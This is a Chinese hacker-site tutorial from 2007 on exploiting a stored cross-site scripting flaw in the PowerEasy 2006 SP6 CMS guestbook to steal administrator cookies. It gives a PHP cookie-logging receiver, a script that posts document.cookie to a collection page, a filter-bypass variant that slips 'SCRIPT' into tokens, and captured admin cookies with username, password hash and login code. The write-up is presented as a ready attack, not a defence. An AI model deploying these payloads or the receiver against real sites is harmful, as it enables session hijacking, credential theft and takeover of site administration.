动易2006_SP6最新漏洞得到管理员密码--动易2006_SP6,漏洞,得到管理员密码,管理员,密码

[推荐]动易2006_SP6最新漏洞得到管理员密码

热荐 ★★★★★

动易2006_SP6最新漏洞得到管理员密码

文章整理发布：黑客风云文章来源：www.05112.com 更新时间：2007-8-20

从7j那里看到的，并且有7j写的接收页面。

7j:没有找到他说的接收页面,只有自已用PHP写个了

以下是引用片段：
<?
$filename = date("Ymd").".txt";
$time = @date("Y年m月d号H点i分s秒",time());
$cookie = $_POST['cookie'];
$url = $_POST['url'];
$hostname = $_POST['hostname'];
if ($cookie <> ""){
$tmp = fopen($filename,"a+");
fwrite($tmp,"地址:".$url."\n主机:".$hostname."\nCookie:".$cookie."\nIP:".$_SERVER['REMOTE_ADDR']."\n".$time."\n");
fclose($tmp);
}
?>

漏洞主要出现在“雁过留声（留言板）”、“信息管理”和“短消息”里，这里以留言板为例
下面我们来测试一下漏洞
打开留言板，选择源代码模式签写留言
审核发表状态下钓到管理员Cookies的几率比较到
我们先来试试一些文字
输入<>未被过滤
输入<script>过滤成<>，不好意思刚才弄错了
输入scrSCRIPTipt会过滤成script（去掉了中间的大写SCRIPT）
看漏洞出来了
也就是说它会把"Script"字符过滤掉，但是只过滤一次，给了我们可乘之机
（iframe标签你可以自己测试）
下面是一个获得Cookies的代码，会把Cookies提交到http://localhost/cookies/cookies.asp，相关的代码我会打包到教程里

以下是引用片段：
<form name=redir action=http://localhost/cookies/cookie.asp method=post>
<input type=hidden name=cookie>
<input type=hidden name=url>
<input type=hidden name=hostname>
</form>
<script>redir.cookie.value=document.cookie;redir.url.value=location.href;redir.hostname.value=location.hostname;redir.submit();</script>

现在我们在一些可能的敏感字符中插入SCRIPT字符，以防我们的代码被过滤
更改后的代码如下：

以下是引用片段：
<FOSCRIPTRM naSCRIPTme=redSCRIPTir actSCRIPTion=http://locaSCRIPTlhost/cooSCRIPTkies/cooSCRIPTkie.asp>
<input type=hidSCRIPTden name=coSCRIPTokie>
<input type=hidSCRIPTden name=uSCRIPTrl>
<input type=hidSCRIPTden name=hoSCRIPTstname>
</forSCRIPTm>
<scrSCRIPTipt>rSCRIPTedir.cooSCRIPTkie.valSCRIPTue=docSCRIPTument.coSCRIPTokie;redSCRIPTir.urSCRIPTl.vaSCRIPTlue=locSCRIPTation.hrSCRIPTef;redSCRIPTir.hostnamSCRIPTe.vaSCRIPTlue=locatiSCRIPTon.hostnSCRIPTame;redSCRIPTir.subSCRIPTmit();</scrSCRIPTipt>

现在我们发表留言

看数据库里的代码是我们修改前的代码
现在以管理员身份登录
现在我们保存cookies的数据库是空的
这是我发送的钓Cookies的网页

好的，现在代码已经执行，管理员的Cookies已经被我们钓到了
我们来看一下

以下是引用片段：
ASPSESSIONIDQCRQQSAT=LCNFLHOBLBPHEJJMHJDPDMGF; localhostpowereasy=LastPassword=4P263W7JiD425kyd&UserName=admin&AdminLoginCode=PowerEasy2006&AdminName=admin&UserPassword=469e80d32c0559f8&RndPassword=4P263W7JiD425kyd&AdminPassword=469e80d32c0559f8

怎么样？得到了吧？
里面有管理员的用户名、密码，和管理认证码

信息管理和短消息也可以如法炮制，具体方法我就不多说了
在这里说一下拿到源码后先要修改一下设置，conn.asp里的数据库路径要改一下
还有test.htm里的URL也要改一下，可以用它做测试

文章录入：cainiaowang 责任编辑：cainiaowang

上一篇文章：最新跨站技术

下一篇文章：没有了

【字体：小大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

VIP 专区

	抽根憋闷烟的心声
	学习网页制作的理由
	加入终身会员的理由!!!
	学习黑客编程的5大理由
	学习免杀的6大理由
	学习软件破解的理由
	常见问题解答
	汇款向导
	学员报名咨询

	动易2006_SP6最新漏洞得到管理员	08-20
	Dvbbs8严重漏洞	08-11
	oblog商业版本4.6注射漏洞，直接	08-11
	dvbbs8.0 access 后台拿webshell	08-11
	百度博客挂马	08-06
	无<>跨站一例——kevin blog跨站	08-03
	网易博客的60余个事件触发式漏洞	07-26
	joekoe CMS 4.0 两个漏洞（上传漏	07-26
	XSS Phishing - 新式跨站脚本攻击	07-26
	浅析XSS(Cross Site Script)漏洞	07-26
	BBSXP 2007的漏洞利用演示	07-11
	动网8.0最新漏洞	07-11